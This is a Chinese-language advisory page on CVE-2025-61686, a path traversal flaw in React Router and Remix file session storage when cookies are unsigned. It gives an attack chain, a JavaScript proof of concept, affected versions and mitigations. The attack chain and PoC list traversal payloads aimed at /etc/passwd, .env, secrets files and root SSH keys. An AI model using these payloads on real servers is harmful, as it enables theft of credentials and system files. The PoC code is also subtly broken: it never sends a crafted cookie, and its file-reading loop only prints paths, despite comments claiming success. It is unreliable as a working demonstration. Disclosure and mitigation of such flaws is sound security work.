IPBUF安全漏洞报告
English
CVE-2025-61686 CVSS 9.1 严重

CVE-2025-61686 React Router路径遍历漏洞导致会话文件读写

披露日期: 2026-01-10

漏洞信息

漏洞编号
CVE-2025-61686
漏洞类型
路径遍历
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
@react-router/node, @remix-run/node, @remix-run/deno

相关标签

路径遍历会话劫持React RouterRemix文件包含未签名CookieCVE-2025-61686Web安全前端框架漏洞

漏洞概述

CVE-2025-61686是影响React Router生态系统的严重安全漏洞,CVSS评分高达9.1。该漏洞存在于@react-router/node 7.0.0至7.9.3版本、@remix-run/node 2.17.2之前版本以及@remix-run/deno 2.17.2之前版本中。漏洞的根本原因在于createFileSessionStorage()函数在处理未签名cookie时缺乏充分的路径验证机制。攻击者可以通过构造特殊的会话ID,利用路径遍历字符(如../)使会话系统尝试访问指定session文件目录之外的敏感文件。此漏洞具有低攻击复杂度且无需认证即可利用,对系统完整性和可用性造成严重影响。虽然机密性影响为低,但攻击者仍可通过精心设计的攻击链读取服务器上的敏感文件内容,并可能篡改会话数据。该漏洞已被官方修复,建议受影响的用户立即升级到最新版本。

技术细节

该漏洞属于典型的路径遍历(Path Traversal)安全问题。在React Router的会话文件存储实现中,createFileSessionStorage()函数负责管理基于文件的会话数据。当使用未签名(unsigned)的cookie时,攻击者可以控制会话标识符(session ID),从而注入路径遍历序列。具体来说,攻击者将session ID设置为包含../的恶意路径,如../../etc/passwd,系统会直接使用该值拼接文件路径,而未进行安全校验。这允许攻击者读取服务器上的任意文件内容,只要web服务器进程具有相应的访问权限。需要注意的是,读取的文件必须符合会话文件的格式要求才能被成功解析和加载到会话对象中。此外,攻击者还可能利用此漏洞向敏感目录写入恶意内容,破坏系统完整性。修复方案采用符号链接验证、路径规范化检查以及强制使用签名cookie等多种防护措施。

攻击链分析

STEP 1
步骤1
攻击者识别目标应用使用存在漏洞的createFileSessionStorage()配置,且cookie未启用签名功能
STEP 2
步骤2
攻击者构造包含路径遍历序列的恶意session ID,如../../etc/passwd或../../.env
STEP 3
步骤3
攻击者通过HTTP请求发送恶意cookie,将session ID设置为构造的路径遍历载荷
STEP 4
步骤4
服务器端漏洞代码使用用户控制的session ID直接拼接文件路径,未进行路径规范化或边界检查
STEP 5
步骤5
系统尝试读取/写入指定session目录之外的敏感文件,如系统配置文件、凭据文件等
STEP 6
步骤6
如果文件符合会话格式要求,内容被加载到会话对象中,攻击者可通过应用逻辑或错误信息获取敏感数据

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-61686 Path Traversal PoC for createFileSessionStorage // This PoC demonstrates how an attacker can exploit the path traversal vulnerability const { createFileSessionStorage } = require('@react-router/node'); // Vulnerable configuration with unsigned cookie const sessionStorage = createFileSessionStorage({ cookie: { name: 'session', httpOnly: true, signed: false, // VULNERABLE: unsigned cookie allows session ID manipulation secure: false, sameSite: 'lax' }, dir: '/var/app/sessions' // Intended session directory }); async function exploitPathTraversal() { // Malicious session ID containing path traversal sequence // This will attempt to read /etc/passwd instead of /var/app/sessions/etc/passwd const maliciousSessionId = '../../etc/passwd'; try { // Attempt to get session data from arbitrary file location const session = await sessionStorage.getSession(); session.set('user', 'attacker'); // The vulnerable code will resolve the path as: // /var/app/sessions + /../../etc/passwd = /etc/passwd await sessionStorage.commitSession(session, { id: maliciousSessionId }); console.log('[+] Path traversal payload sent'); console.log('[+] Target: /etc/passwd'); console.log('[+] Cookie header would contain:', `session=${maliciousSessionId}`); } catch (error) { console.log('[-] Error during exploitation:', error.message); } } // Alternative exploitation: Reading application config files async function readSensitiveFiles() { const sensitivePaths = [ '../../.env', '../../config/secrets.json', '../../app/config/database.yml', '../../../root/.ssh/id_rsa' ]; for (const path of sensitivePaths) { console.log(`[*] Attempting to access: ${path}`); // In vulnerable version, this would create/read files outside session directory } } exploitPathTraversal();

影响范围

@react-router/node >= 7.0.0, < 7.9.4
@remix-run/node < 2.17.2
@remix-run/deno < 2.17.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 确保会话cookie配置中启用签名功能(signed: true),这将防止攻击者伪造有效的session ID;2) 在应用层添加session ID格式验证,拒绝包含../、..\或绝对路径的输入;3) 限制会话存储目录的权限,确保web服务器进程只能访问必要的文件;4) 考虑临时切换到基于数据库或内存的会话存储方案,替代文件会话存储。需要注意的是,这些缓解措施仅为临时解决方案,强烈建议尽快完成版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表